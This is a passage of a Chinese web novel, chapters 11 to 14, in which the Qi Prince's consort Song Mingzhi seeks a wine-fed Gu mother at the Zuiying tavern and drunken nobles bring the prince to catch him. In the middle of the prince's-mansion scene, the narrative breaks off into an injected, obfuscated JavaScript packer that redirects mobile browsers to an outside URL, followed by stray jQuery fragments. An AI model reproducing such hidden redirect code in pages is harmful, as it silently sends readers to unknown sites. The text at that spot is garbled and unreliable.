廖文柏瞬间便清醒了过来,转身便问胡姬:“你们店里可有男……男胡姬?” 这个问题实在是太过古怪。 中原话不好的胡姬愣了愣,这才摇头答道:“回公子的话,并没有。” 几人瞬间对视一眼,齐刷刷地趴在了栏杆上,向下看了过去—— 身着绯裙的胡姬自后间走了出来,这时,正上前朝宋明稚道:“公子,老板今日就在楼中,请您随我一道向这边走。” 说完,便带着宋明稚,朝着醉影楼的最深处而去。 宋明稚则同她点头,随手掀开毡帘,走进了后间:“劳烦了。” 几乎转眼,便消失在了众人的面前。 几人既听不到,更听不懂宋明稚与那胡姬说了什么……只看到他动作熟练,神色平静,没有半点的新奇还有紧张! 廖文柏呆呆道:“你们觉得是他吗?” 同伴当即答道:“绝对是!那双眼睛,除了他还有谁?” 尤建安震惊道:“你,你们说齐王妃,他来这里,是做什么的……” 话音落下之后,几人突然都不再说话—— 还能来做什么,这种地方,自己是来做什么的,他自然也一样啊! 纨绔甲乙丙丁:“!!!” 几人迅速交换了一个眼神,皆在对方的眼中,看到了浓重的惊恐,酒劲更是在刹那之间,便没了个干干净净。 尤建安呆滞道:“怎,怎么办?” 他似乎在不经意间撞见大事了! “还能怎么办!” 廖文柏重重地拍了一下他的后脑勺。 说话间,已经快步朝着朝楼下奔去:“自然是告诉齐王殿下啊!” “带殿下来这里,抓……抓那个什么啊!” 11.第十一章 宋明稚出生的时候,天下已乱。 崇京城内民生凋敝,醉影楼也久不修缮,楼内四壁,都被取暖用的炭盆熏得乌黑,看上去残破不堪。 与现在的样子大不相同。 胡姬推开槅门,朝他道:“公子这边走。” 说话间,已将他带到了醉影楼内众人日常起居之处。 宋明稚忙快步跟上:“好。” 同时,忍不住朝着四周打量了起来。 宋明稚上一世虽然出生在这里,但是他七岁以前的记忆,早就已经变得模糊不清。 他只依稀记得…… 醉影楼处处都铺着轻软的地毯,飘荡着大红的纱幔。里面虽然有一些残破,但处处却都飘着甜香。 直到他七岁那一年……叛军第一次攻进了崇京城内,他们不但将这里劫掠一空,甚至于,还用一把大火,将这座酒肆,烧了个一干二净。慌乱间,宋明稚的娘亲只来得及用一把匕首,在他的脸上,划出一道深可见骨的伤痕,继而用尽全力,将他推出醉影楼外。 之后他就再也没有见过她。 这在乱世之中,毫不起眼。 身着绯裙的胡姬停在了一扇门外:“老板就在这里,公子,我就不进去了。” 宋明稚朝她回礼:“多谢。” 说完,便推开门走了进去。 宋明稚看到—— 临窗的胡榻一旁,有人正背对着自己,随手投喂着鹦鹉。 听到声音,他方才缓缓地转过了身来。 继而,看着自己,疑惑道:“诶,阿娜方才过来告诉我,有一个朋友来醉影楼里找我……” 说着,他便收起了手中那把米粒。 走到了宋明稚的身前,奇怪道:“但是,若是没记错的话,我似乎……此前从来都没有见过公子你?” 醉影楼的老板,看上去有三十岁左右。他将那一头栗色长发,随意编成了辫子搭在肩头。身上则戴满了金银、宝石,站在灯下,甚至有一些晃眼。 宋明稚将手放在胸.前,朝他行了个礼:“我的确是第一次来醉影楼,只不过从前在述兰的时候,曾经在‘琉焰阁’听说过醉影楼的名字。” 宋明稚小的时候,常听娘亲讲起西域。其中,专门售卖西域珍奇的琉焰阁,便是她常说的话题。 宋明稚的话打消了他大半的疑虑。 老板摸了摸面前的鹦鹉,朝他道:“哦,怪不得啊,公子请坐吧。” 醉影楼背地里做的,大都是西域人的生意。 他之前虽然从来都没有见过宋明稚,但是眼前人的相貌与一口流利的述兰话,是骗不了人的——宋明稚看着便不像是会带中原官兵来南市,搜查醉影楼,收缴禁物的人。 话音落下之时,老板已抬手为宋明稚斟满了茶:“我中原名叫珈洛,不知道公子怎么称呼?” 述兰人大多数只有一个单字名,宋明稚直接道:“叫我阿稚便好。” 珈洛点了点头,直入主题道:“公子来醉影楼,想买何物?” 宋明稚也没有再同珈洛寒暄。 他接过了茶,便问:“珈洛老板有没有听说过,一种以酒为食的蛊虫?” 珈洛顿了顿,喃喃道:“以酒喂为食……” 他沉默半晌,似是陷入了回忆。 见状,宋明稚的心瞬间便提到了嗓子眼里: 苗疆虽然更盛产蛊虫,但是因其地势封闭、文化特殊,蛊虫几乎不会被带离当地,出现在中原。西域的蛊虫则不同……它虽然不如苗疆蛊虫那么出名,却有不少被带到了中原来。 ——上一世,宫中用来控制暗卫的蛊虫,便来自此。 半晌过去,珈洛终于在宋明稚的注视下,缓缓地点了点头:“的确略有耳闻。” 宋明稚:“……!” 果然如自己所料。 宋明稚的心顿时狠狠地一坠。 他立刻追问道:“那珈洛老板的手上,现在可有蛊母?” 珈洛立刻摇头,斩钉截铁道:“我手上并没有,而且……中原做这种生意的,也只有我一人。据我所知,这种蛊虫并没有传到中原来。” 蛊虫没有传到中原? 那殿下又是为什么…… 现在不是细想的时候。 相比起追查蛊虫来源,解蛊显然要更加重要,宋明稚立刻问他:“老板可否跑一趟西域,替我找到这种蛊母?” 珈洛当即笑了起来,轻轻摇头:“公子你总不可能不知道,这一趟有多远吧?实不相瞒,我这回来中原,才不到一年,我想最近三年间,应该都不会……” 莲花灯下烛火熠熠。 宋明稚忽然垂下眸,借着烛火打量起了他来: 珠光锦、翡翠貔貅、玛瑙项链、金手串。 简直是将弱点清楚写在了脸上。 珈洛警惕道:“你,你干什么?” 就在他话音落下的那一瞬。 宋明稚已抬手,轻轻将一颗夜明珠放在了桌上:“这三年间?” 珈洛瞬间瞪大眼睛,一眨不眨道:“这颗夜明珠虽然价值连城,但是……” 宋明稚的眼中闪过一丝笑意,财大气粗地摇了摇头道:“这是我方才向珈洛老板,买消息的钱。” 珈洛:“……?” 珈洛:“……!” 一颗夜明珠,只是买个消息? 宋明稚又摸出三颗夜明珠:“这是定金。” 这还犹豫什么?! 珈洛默默移开了视线:“实不相瞒,我来中原这么久,也有一些想念家中的父母、旧友了。正好!再过一个月,彻底开春,路上好走之后,我便回述兰一趟看望看望父母,顺带给公子找找这个蛊母。” 话音落下的同时,珈洛已将桌上的夜明珠摸进了怀中,并大声朝着门外道:“阿娜!快快快,去将我从述兰带来的干果还有花茶拿上来,都给公子回去尝尝!” 接着,便转过身朝宋明稚笑道:“公子离家万里,怕是也想念这口味道了。” 宋明稚默默地颠了颠钱袋—— 夜明珠在袋内轻撞,生出一阵清脆的声响,宋明稚的心情也突然变得无比愉悦。 原来花殿下的钱是这种感觉? 他笑道:“多谢珈洛老板。” 阿娜推开门,送来了干果花茶。 手上还端着一壶奶酒。 见状,珈洛立刻摆手朝对方道,“花茶放在这里吧,稍后再换上一壶好酒来……”末了,立刻起身,朝宋明稚道,“招待我在中原,最好的朋友!” - 戌时,齐王府。 踢踏的脚步声,打破了满院的寂静。 三四名纨绔慌慌张张地跑进了齐王府内,进门之后并没有像往常一样停下来喝茶,而是不顾守卫的阻拦,直奔着徽鸣堂而去:“齐王殿下,大事不好了——” 为首的廖文柏更是一下没收住。 直接“扑通”一声摔在了地上,给慕厌舟行了一个大礼。 见状,元九立刻上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305417|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搀扶:“廖公子您这是怎么了,为何如此着急?” 刚才喝了不少酒,又跑了一路的廖文柏,还在上气不接下气:“大,大事不好……不好了!” 云纹长桌前,正在提笔写字的慕厌舟,嗅到这股浓重的酒气后,眸中便闪过了一丝不耐烦。片刻过后,他方才放下手中的笔,随口朝廖文柏问道:“怎么了?一个个都着急忙慌的。” 今日之事实在有些上不了台面。 一想到齐王的心情和身份……就连这群向来口无遮拦的纨绔,一时间都不知道应该如何开口,廖文柏“不好,不好”地重复了半天,也说不出一个完整的句子来。 在他背后,醉得更厉害的尤建安,则昏头晕脑道:“殿下写什么呢?” “哦,这个啊……” 慕厌舟忽然笑了起来。 他拿起了面前那张纸,看了两眼,朝几人道:“这是《治世方略》你们看过吗?” ……治,治世方略? 纨绔瞬间面面相觑。 片刻过后,才有人问:“这是什么?” 慕厌舟笑着翻起了书,苦恼道:“这是爱妃让我抄的,我原本也不想抄,随手就丢给了下面的人,让他们模仿我的字迹,谁知道……爱妃竟然一眼就认出了那不是我的字。你们说,下人明明仿得极像,他究竟是怎么认出来的?” 因为他在意你? 纨绔甲乙丙丁:“……” 他们替齐王殿下心痛啊! 人已经到醉影楼了,殿下竟然还在这抄书? 廖文柏终于忍不住一口气道:“齐王殿下,我们今日去醉影楼了!” 慕厌舟敷衍道:“然后呢?” 尤建安终于缓过神来:“然后,见到齐王妃了!” 慕厌舟:“……” 他缓缓地攥紧了手里面那本书。 徽鸣堂内瞬间鸦雀无声。 片刻过后,众人方听慕厌舟压低了声音,低声朝自己道:“你们说,今日在醉影楼里,遇到了他……” 几人瞬间点头如捣蒜。 正搀扶着廖文柏,朝着桌边而去的元九,身体不由抖了一下,背后瞬间出了一层薄汗…… 自己刚刚才按照齐王殿下的吩咐,加强了酌花院四周的守卫,按理来说,只要酌花院中有一点风吹草动,殿下都能第一时间收到消息。这怎么……大白天少了一个人,都没有任何人发现。 更何况,这人还是一个奸细! 慕厌舟不动声色地扫了元九一眼。 而后,放下手中那本《治世方略》摇头道:“不可能,你们是不是看错了。” 同时,质疑道:“况且他去醉影楼里做什么?” 这群纨绔原本就没有什么看眼色的本事。 如今又喝多了酒,更是完全不再过脑子,见齐王不相信,立刻就有人开口道:“不可能,我们几个人亲眼看到他跟着一名胡姬,一直走到了醉影楼的最深处去!” 完全不再有照顾他情绪的意思。 王妃偷偷摸摸一定是有所图谋。 徽鸣堂的那一边,元九死死地咬住了牙关。 他看见…… 齐王殿下越是假装不信,那几名纨绔便越是激愤。 此时,他们已彻底将尊卑贵贱全都抛到了一边去,走上前拽着齐王便朝徽鸣堂外而去:“时间不早了,他定不敢夜不归宿,我们现在就去醉影楼。” “殿下今晚一定要将他堵在楼中!” “抓住他——” 12、第十二章 一行人离开了齐王府。 坐上马车,浩浩荡荡地朝着醉影楼而去。 车内,慕厌舟轻轻眯起了双眼。 他放缓语调,懒声道:“稍后,若见王妃与‘那人’的接应,在醉影楼中密会。无论我说什么,都不必理睬。任廖文柏那几人,带着守卫,直接将他们拿下便是。” “若对方不是他的接应……” “便看住廖文柏几人,不要让他们轻举妄动。” 车外,元九立刻应道:“遵命,殿下!” 夜晚的崇京,坊市里灯火辉煌,光亮穿过车帷的缝隙,落在了窗边彩绘的月季之上。 慕厌舟将手抵在额间。 片刻过后,方才漫不经意道:“可惜了。” 虽然绮丽多姿,但可惜…… 略有些扎手了。 - 故地重游。 宋明稚婉拒了珈洛喝酒的邀请。 但是自幼生活在醉影楼中的他,纠结片刻,并未拒绝对方后来“参观醉影楼”与“随便用一些简餐”的提议。 珈洛与宋明稚一道,走上了醉影楼的二层:这一层全都是雅间,装潢华丽、精致,既能看到一层胡姬的歌舞,还不会受到旁人往来打扰,是崇京城内达官显贵、风.流纨绔们,平日里最喜欢来的地方。 这样的繁华热闹直到叛军入城,方才消失。 现在差不多到了晚膳结束的时候。 宋明稚刚走上楼梯,远远便看见—— 一个身着碧色官袍,大腹便便的中年男子,正站在一间雅间外,不断地朝着门内点头哈腰。片刻过后,终于赔着笑将里面的人迎了出来,一边说话,一边快步朝另一头的楼梯而去。 不多时,便快步离开了醉影楼。 宋明稚直觉有些可疑。 他不自觉回过了头,问身边的人:“珈洛老板认识方才的那一位大人吗?” 醉影楼向来只赚钱,不深入政事,但像眼前这种熟客,珈洛还是认识的。他想了想,便朝宋明稚答道:“似乎是户部的冯大人,名叫……冯荣贵?” 宋明稚喃喃念道:“冯荣贵……” 说话间,他不由攥紧了手心。 冯荣贵这个名字,实在是如雷贯耳——就是他在不久之前,写了一封诬状,诬告户部同僚受贿,间接导致杜山晖被皇帝重罚! 历史上: 杜山晖不久便不治身亡。 这桩冤案,因此只能不了了之,户部也在那之后落入了奸党手中…… 紧随其后,一场天灾,使得百姓流离失所。本应该主动去赈灾的户部,却欺上瞒下,毫不作为。最终,使得流民遍地,动摇了大楚的国本…… 要不是齐王登基以后力挽狂澜,大楚十有八.九会在这个时候早早亡国! 见宋明稚不再说话。 珈洛忍不住开口道:“公子怎么了?可是认得方才那几人。” 宋明稚回过了神来,朝他摇头道:“没事,我不认识他们。” 说话间,他已同珈洛一道,走进了醉影楼二层最大的雅间,并从桌案上端起了一杯花茶来。 继而,徐徐地垂下了眼帘: 这次,自己为杜山晖止住了血,如今他虽然还卧床不起,但是已经不再有性命之忧。若有杜山晖在朝中,户部的“受贿案”,自然不能再不了了之…… 冯荣贵这个被奸党推出来,写诬状的“炮灰”,恐怕是已经开始心虚了。所以才会在醉影楼里宴客,为自己梳络关系! 醉影楼内一层,羯鼓声起。 舞姬再一次垫脚胡璇起舞,伴着熟悉的乐声,宋明稚轻抿了一口花茶,将这一切暂时压在了心底里。 …… 一炷香的时间过后。 自齐王府来的马车,停在了醉影楼前。 马还在原地踏着步,廖文柏已翻下车,踉跄着踩在了地上。接着,快步走进了醉影楼中,直奔着守在门前的阿娜而去,他随便问了两声,便伙同几个纨绔,将还在犹豫的慕厌舟拖上了二楼,直奔着二楼正中的那间“水月阁”而去。 同时,还不忘回过头吩咐一层的乐师:“继续奏乐,不许停!” 今日,必须将他抓到! 不过是一眨眼的工夫。 几人便聚在了醉影楼二层的楼梯口。 接着大逆不道地将慕厌舟拽了过来,指着前方道:“齐王殿下,您快看看!” 此刻水月阁屋门紧闭。 第一个发现宋明稚的“功臣”尤建安,义愤填膺道:“光天化日啊!王妃却仍关着门待在雅间内,这一定是心里有鬼!” 虽然都是纨绔—— 但是,身为“齐亲王”的慕厌舟,地位显然要高众人一等,是这群纨绔的主心骨。作为手下,他们半点都见不得齐王殿下被那个自西域来的狐狸精迷惑。 看到水月阁的门窗紧闭,这群纨绔一个个激动的满脸通红。 他们齐刷刷地转过身,朝慕厌舟看去,脸上写满了:殿下你这个死恋爱脑快点看啊—— 然而,众目睽睽之下: 慕厌舟默默地向后退了一步。 他不自觉地摇了摇头说:“要不然,算……” 纨绔甲乙丙丁:“不能算!” 酒气于刹那间全涌了出来,纨绔们瞬间便将理智抛到了九霄云外去。 这回定要让殿下清醒过来。 不知是谁,踉跄着朝后退了两步,借着一身的酒劲,用尽全力朝着眼前的房门撞了过去。率人跟在最后方的元九,瞬间绷紧了弦,他赶忙睁大了双眼,朝着水月阁内看去,随时准备将那人的接应拿下! 与此同时,水月阁内—— 宋明稚透过羯鼓与欢笑声,听到有人正朝门前而来。他正欲起身开门,却见珈洛摆手道:“我来,公子我来就好。”话音落下,人已走到门前。 然而…… 珈洛还没有来得及抬起手。 那扇雕花的漆门便被重重地撞了开来。 “砰!” 纨绔狠狠地摔在了地上。 门扇随即便朝着珈洛的身上砸了过去—— 来不及多想,宋明稚立刻起身,抓住他肩上衣料,用力便将人给拽了回来:“当心!” 楼下的羯鼓声,也随之漏了一拍。 甫一开门众人便见…… 宋明稚正揽着一名西域相貌的栗发男,站在房门前。 廖文柏默默咽了口唾沫:“我的天……” 这,这怎么是个男的啊! 元九:“……” 好像不是接应。 夜风打着旋穿堂而过。 看清楚外面的人之后,宋明稚瞬间抬手,松开了珈洛的肩。他下意识叫了声:“……齐,齐王殿下?” 众人的心中瞬间便闪过七个大字:此地无银三百两! 珈洛不敢置信:“齐,齐王殿下?” 说完,便坐在了地上。 夜风,吹透了水月阁。 众人不约而同地转身,看向慕厌舟—— 是可忍孰不可忍……这一回被抓个现行,齐王殿下终于能够清醒过来,识破他这张美人画皮了! 宋明稚:“……” 水月阁前虽无人开口,但是电光石火之间,宋明稚已经从这群人脸上,读出了他们的心中所想……曾经是天子暗卫的他,就连做梦都没有想过,自己有朝一日,竟会败在这群人的手上! 宋明稚下意识开口,朝他解释:“殿下,珈洛老板险些被门砸到,我方才是在扶他,并没有其他的意思。” 尤建安自以为看穿:“不可能,你哪有那么快?” 就连地上的那个纨绔,也龇牙咧嘴地站了起来:“就是,我抬头就看到你在这里了!” 廖文柏激动道:“对,你看有人会信你说的这番话吗?” 宋明稚轻轻咬了咬下唇…… 他们不知道自己有武功,所以并不会信自己的话。 羯鼓声磕磕绊绊,重新响了起来。 就在宋明稚犹豫应该如何解释时,慕厌舟已缓缓地垂下了眼帘。 紧接着,轻轻地摇了摇头道:“我信。” 慕厌舟的确相信—— 能够神不知鬼不觉绕开守卫的人,怎么可能连这点小事都做不到。 纨绔甲乙丙丁:“?” 殿下他糊涂啊! 慕厌舟深吸了一口气,于一众纨绔震惊注视下,轻轻笑道:“是我疏忽了。” 宋明稚的心忽地一松,困惑地朝着他看了过去。 殿下这又是什么意思…… 摇曳的烛火,照出了慕厌舟眼底的落寞。 他言语之间,甚至还有几分说不清道不明的无奈。 几息后,终于打起精神,抬眸看向水月阁内,缓缓摇头道:“是本王疏忽了,阿稚自述兰到中原,远嫁万里,在崇京城内无亲无故……的确也应该有一两个朋友。” 他将“朋友”二字,念得格外用力。 纨绔甲乙丙丁:“啊?” 慕厌舟连看都没有看着群纨绔一眼。 他微微用力,攥住了宋明稚的手腕,并于同时站直了身子,看向了屋内一脸呆滞的珈洛。 继而,居高临下道:“本王久仰醉影楼大名,往后若有时间,定会来这里坐坐。” 珈洛呆若木鸡:“好,好……” “哦,对了。” 慕厌舟垂眸看向宋明稚。 最终,缓缓地笑了起来:“差些忘记同阿稚的朋友介绍,本王是他的夫君。” “今日,来醉影楼……” “是接爱妃回家的。” 13、第十三章 醉影楼内,羯鼓声虽仍未停。 但是众人的视线早不知何时,偷偷落在了水月阁之前。 暗卫一向独来独往,宋明稚向来都少与人有肢体接触……众目睽睽之下,他的呼吸不由一滞,手腕也随之微微地颤了一下:“……!” 这一切皆落在了慕厌舟指间。 他转过身,压低了声音,轻轻地朝着宋明稚轻唤了一声:“爱妃?” 宋明稚蜷了蜷手指…… 自己绝对不能在外,拂了齐王殿下的面子。 他默默地移开视线,强装镇定地点了点头道:“殿下,我们回府吧。” “自然。” 慕厌舟攥紧了他的手腕。 转过身,朝着珈洛笑道:“本王和阿稚今晚就不再多打扰洛老板了,我们改天再叙吧。” 说完,便于众人注视中,轻轻地拉着宋明稚,走下了醉影楼。 纨绔甲乙丙丁:“?” 几人不由一愣,撒腿便跟了上去:“齐王殿下,等等我——” 夜风吹透了单薄的春衫。 如今天气尚未完全转暖,慕厌舟走出醉影楼后,便先扶着宋明稚,坐上了马车。接着,回过头,便朝着灯火通明的醉影楼道:“一身铜臭气,庸俗。” 紧随其后的廖文柏:“啊?” 等等,殿下说的该不会是刚刚的那个西域人吧! 他不是方才还一脸沉稳吗。 不等廖文柏确定自己有没有误会,慕厌舟又道:“不过是会说两句述兰话而已,除此之外,泯然众人。” 说着,便转回了身,准备上马车。 此时,其余纨绔也已离开醉影楼,气喘吁吁地停在了马车前。也不知是哪个酒劲还没散的,听到他这句话后,口无遮拦地来了一句:“齐王殿下这是吃醋,酸了吗……” 话音还没完全落下,便见慕厌舟动作一顿,不屑道:“酸什么酸?我才是他的夫君。” 说完,便头也不回地登上了马车。 彩饰金漆的马车缓缓驶出了南市,将众人抛在了醉影楼下。 廖文柏几人回过头便看见,此时,正有一堆人假借着喝酒,暗戳戳地看着齐王的热闹! 完蛋了—— 殿下的一世英名,怕是彻底毁了。 …… 马车稳稳地向王府驶去。 车内,宋明稚正襟危坐,正欲向慕厌舟解释今天的事情。 却见对方一上车,便严肃地看向自己:“你说……” 宋明稚当即认真道:“殿下请讲。” 慕厌舟垂下了眼眸,深深地看向他眼底:“你说,述兰话好学吗?” 宋明稚:“……?” - 宋明稚花了一整晚时间。 方才强行将醉影楼的事,压在了心底,重新冷静了下来…… 次日早,崇京细雨如丝。 宋明稚几乎一晚没有睡,起来后便坐在妆奁前,一边束发,一边仔细思考起了昨日听来的消息。既然珈洛确定,这种蛊并未经商路流入中原,那么殿下.体内的蛊虫,又是从哪里来的呢? 阿琅将早膳端进了屋内,此时他正一边布着膳,一边在嘴里念叨着:“崇京的雨究竟什么时候能下够,来这里还不到一个月,竟然有大半个月时间都在下着雨……我记得在述兰的时候,春季可从不会像现在这样。” 宋明稚起身朝桌边而去:“再过一个月便好了。” 还未适应中原生活的阿琅,不禁轻叹了一口气,嘟嘟囔囔道:“都怪述兰王,若不是他……公子现在说不定还好好地待在述兰呢!” 宋明稚虽然也是述兰人,但是自幼生活在中原的他,对述兰的历史与政事并没有太深的了解。因此,宋明稚也是最近这一段时间,才从阿琅的抱怨中拼凑出来—— 如今的述兰王能够继位,全都靠中原王朝出兵支持,帮他平定内乱。 正是因此,他继位以后,不但将朝贡,由两年一贡改成了一年一贡,甚至还不断从西域各地,搜罗珍宝、美人,一股脑地进献到那昏君手中。 原主好歹是一名小贵族。 能被送到崇京当齐王妃,一半靠那老皇帝乱点鸳鸯谱,另外的一半,便靠他这股什么都送的劲头。 宋明稚缓缓坐在了桌边,然而,半晌都没有拿起筷子,他不由喃喃道:“述兰王,进献……” 阿琅歪了歪头:“公子,怎么了?” 宋明稚忽然睁大了双眼,难得失态道:“我明白了——” 他“砰”的一声,放下了手中的筷子,心跳也瞬间加快了几拍。 既然蛊虫不是通过商路传到中原来的,那么它会不会是……由述兰王进献到中原来的?! 宋明稚越想越觉得有可能。 阿琅被他吓了一跳,差一点便将手中的汤碗丢在了地上:“公子明白什么了?” 宋明稚立刻咬牙冷静了下来。 他朝阿琅摇了摇头—— 如今蛊母八字还没有一撇,殿下可能中了蛊毒的这件事,还不能告诉身边的人。 “……没什么大事,”宋明稚话锋一转,朝他道,“哦,对了,我有一件事,需要你过两天,替我跑上一趟。” 阿琅的注意力果然被他转走了:“公子请吩咐。” 宋明稚重新拿起了筷子,面不改色地吩咐道:“届时,去南市最大的那一家金店一趟,替我取回铃铛,顺便问问老板,可有查出这铃铛的来历。” 宋明稚的相貌与发色,实在是太过显眼。 经过了昨天晚上的那件事情以后,他只得暂时取消出府的计划,将取铃铛的任务,交给到阿琅的手中。 阿琅忙道:“是,公子。” 春雨绵绵打湿了枝上的桃花。 临窗而坐的宋明稚,身上也沾染了几分寒意。 见状,阿琅立刻上前去关窗。 宋明稚则缓缓地垂下了眼帘…… 如果蛊虫真的是述兰王进献而来,那么给齐王殿下种蛊的人,只可能是……他的父皇,那个老昏君! 见骥一毛,不知其状。 宋明稚的心随即一沉。 他恍然间意识到……自己或许一开始就想错了。 来自后世的自己,太过依赖已知的历史。 齐王殿下的继位,有没有可能,并没有像历史记载的那样的一帆风顺? …… 齐王府,徽鸣堂。 慕厌舟正提着笔,坐在长桌前。 元九默默地看了他一眼,又默默地看了看他手下的那本《治世方略》,不禁在心中,暗道了一声“佩服”,有这样的毅力陪王妃演戏,还有什么事情做不成? 不愧是殿下! 他偷摸将视线落在纸上,正欲仔细看慕厌舟究竟抄了多少。还没有看清楚什么,便听见一阵脚步声,穿过正厅,停在了不远处:“启禀殿下,昨日之事,吾等已经查清。” 慕厌舟没有抬头:“所以爱妃为何背着本王偷偷去见男人。” 元九:“咳咳咳……!” 慕厌舟手指一顿:“哦,说习惯了。” 元九默默地倒吸了一口凉气。 一直跟在齐王身边,看着他虚与委蛇的元九,头一回不安,生出了怀疑——殿下再这么演下去,真的不会有一天,将他自己给演进去吗? 侍从同样很震惊。 他“吾等,吾等”了小半天,都没能说出一个整句来。 ——慕厌舟带人去了醉影楼,虽然没有见到预想中的“接应”,但是他也并没有让这群人,白白跑一趟。 昨天晚上,慕厌舟回府以后,侍从立刻进楼见了珈洛。不愿意惹上麻烦的他,自然知无不言,言无不尽,三下五除二便将宋明稚来找自己做什么,招了个干干净净。 侍从终于整理好了心情:“回殿下的话,珈洛说昨日王妃去找他,是想要通过他寻找一种蛊母……” 慕厌舟突然放下了笔。 他缓缓眯了眯眼:“什么蛊母?” 凝在笔尖的墨汁,“啪”的一声滴在了纸上,瞬间便留下了一道醒目的墨痕。 侍从立刻低下头,一边回忆一边道:“是……一种以酒为食的蛊虫的蛊母。” 徽鸣堂内突然静了下来。 站在慕厌舟背后的元九,不自觉瞪大了双眼。 蛊母! 殿下自六年前,中蛊时起,便在暗地里寻找起了蛊母,但始终不得头绪,只大约猜到,这蛊虫应当是从西域而来。他也曾试着从醉影楼下手,然而,醉影楼对中原人极其戒备,表面更是与普通的酒楼,没有任何区别。 最重要的是……那个名叫“珈洛”的人,当年并不在大楚! 甚至于,他们完全不知道有这个人存在。 一番寻找过后,只得无功而返。 元九震惊道:“王妃他……” 王妃他不但能进入醉影楼内,甚至还清楚,珈洛有这个本事! 慕厌舟的眼中难得没了笑意:“可有搜查。” 侍从立刻道:“有有!吾等昨天夜里,便从珈洛的身上,搜出了来自王府内的夜明珠,这也正好对上了他口中的‘酬劳’。” 慕厌舟缓缓点头:“好,我知道了。” 侍从行礼退出了徽鸣堂。 元九擦掉了额间的冷汗,咬牙不可置信道:“王妃竟然看出您中了蛊。” 若不是王妃看出了这一点…… 蛊毒的事,单凭珈洛自己,是编不出来的。 慕厌舟慢慢垂下了眼眸,看向手边的《治世方略》,沉默片刻,方才喃喃道:“他为何要找蛊母呢……” 元九也忍不住低下了头去。 是啊,王妃图什么呢…… 几息后,他忽然想到了什么似的,瞪大了眼睛—— 王妃他,他总不能是真的在意殿下吧? 14、第十四章 雨滴叩响了徽鸣堂的门扉。 打得窗外桃花,化作香泥,零落一地。 慕厌舟拿起了面前的薄宣,放在烛上,眯着眼睛看它一点一点化作飞灰。 明明抗拒成亲,在来崇京和亲的路上,还抵触到恨不能与自己同归于尽。可是到了崇京城以后,却在短短的一.夜之间,判若两人…… 如果不是奸细,那又会是因为什么呢? 向来都目空一切的他发现: 自己竟然在不知道在何时,对一个人,生出了些许的兴趣。 慕厌舟笑了一下。 随手拂走了长桌畔的飞灰,未多费神。 - 辰时,风和日暄。 春风荡过徽鸣堂,带出了一阵药香。 宋明稚还没走到门前,原本正在忙碌的侍从,便齐刷刷停下了动作,朝他行礼。 隔着老远就传来数声:“参见王妃!” 一时之间,蔚为壮观。 崇京城的雨,一连下了两日。 待雨停之后,宋明稚便命王府内的侍从,备好马车,将阿琅送到了南市那家金店中,去取自己暂存在那里的小金铃铛。 至于他自己…… 则按时,出现在了徽鸣堂外。 ——养生一事不能只靠食补。 昨日宋明稚特意从太医署里,请来人为齐王诊脉,今早天还没有亮的时候,侍从便按照医嘱,煎好了汤药,脚不沾地地送到了齐王殿下的桌案边。 宋明稚刚到门外,便看见一名侍从端着一只药碗,自徽鸣堂里面走了出来。 宋明稚脚步一顿:“等等。” 话音还没有落下,他已走上前,自侍从的手中接过药碗,认真检查了起来——药碗里面已经空掉,仅仅瓷壁上还沾着一点点没有过滤掉的药渣。 看上去像是喝完了的样子…… 侍从还没来得及朝宋明稚行礼,便听他道:“没事了,你走吧。” 说完,他又快步走进徽鸣堂内,凑到门前的花盆边上,仔仔细细闻了起来,确定慕厌舟究竟有没有好好地将药喝完。 昨日太医来齐王府时说,自己之前也曾为齐王看过诊,但是他却嫌弃汤药太苦,从来都没有好好地服过药,并暗示宋明稚,一定要仔细确认。 宋明稚自然要照做。 徽鸣堂里面种的花,不知什么时候从兰花换成了月季。花盆里面的土似乎刚才松过不久,此时还泛着一股淡淡的腥气,并没有宋明稚想象中的药香。 见状,宋明稚终于放下了心来。 他正欲起身,耳边便传来一声:“宋明稚,你也太信不过我了吧?” 自从知道了宋明稚的中原名后。 慕厌舟便总喜欢在只有两人时,直呼他的大名。 对此,宋明稚早已麻木。 他站直身,心安理得道:“这是太医给我的叮嘱。” “你怎么那么听他的话,”慕厌舟从书房里面走了出来,他随手揉了揉月季刚才萌发出的新叶,同时,舒展了一下肩膀,懒声道,“放心,就算是为了爱妃,我也要多活几年。” 不等宋明稚说什么,他便凑上前道:“感动吗?” 宋明稚缓缓移开了视线,看向书房:“那齐王殿下不如再为我看看书?” 慕厌舟:“爱妃真是铁石心肠啊……” 铁石心肠的宋明稚走到桌案边,检查起了他的进度。 同时,仔细回忆昨日太医的话: 齐王殿下虽然一直都患有胃疾,并且隔三岔五的就会因为饮酒而发作,但总的来说并不算重,至少没有严重到再过上几年,就会置他于死地的地步。 宋明稚翻书的动作,不由一顿。 相比起胃疾,殿下手臂的轻颤,似乎更加值得注意…… 按理来说,只要按时“喂养”,蛊虫表面上是不会对人造成任何影响的。 如果自己的猜测没有出错的话,殿下十有八.九,曾经尝试过凭借外力,逼死他身体里的蛊虫。可最后,不但以失败告终,甚至还遭到了它的反噬。 这才是殿下真正该医治的病症…… 见宋明稚突然不再翻书,慕厌舟立刻凑上前来:“怎么,有什么问题吗?” 宋明稚立刻翻过这一页,严谨道:“目前没有。” 慕厌舟默默地坐在一边:“你真的好吓人。” 他没有看到—— 此时宋明稚的手,也微微顿了一下。 尝试着逼死蛊虫,说明他知道自己中了蛊,而身为亲王,中蛊后却一声不响、自行处置,也对上了宋明稚的猜测:蛊或许就是他的父皇所下。 不过,就算是那昏君下的蛊,自己也暂时没能证实齐王殿下究竟是不是在韬光养晦…… 若自己突然对齐王改变态度,反倒会引人怀疑。 宋明稚决定先以不变应万变—— 转眼,宋明稚便翻完了桌上的本册,提起笔在这里记下了慕厌舟的进度。 接着,合上了本册,朝着慕厌舟道:“纸上得来终觉浅。” 说完,忽然轻轻地笑了一下。 慕厌舟起身悄悄后退了半步…… 按照他近来的经验,宋明稚但凡突然朝着自己笑,多半不会有什么好事。 果不其然! 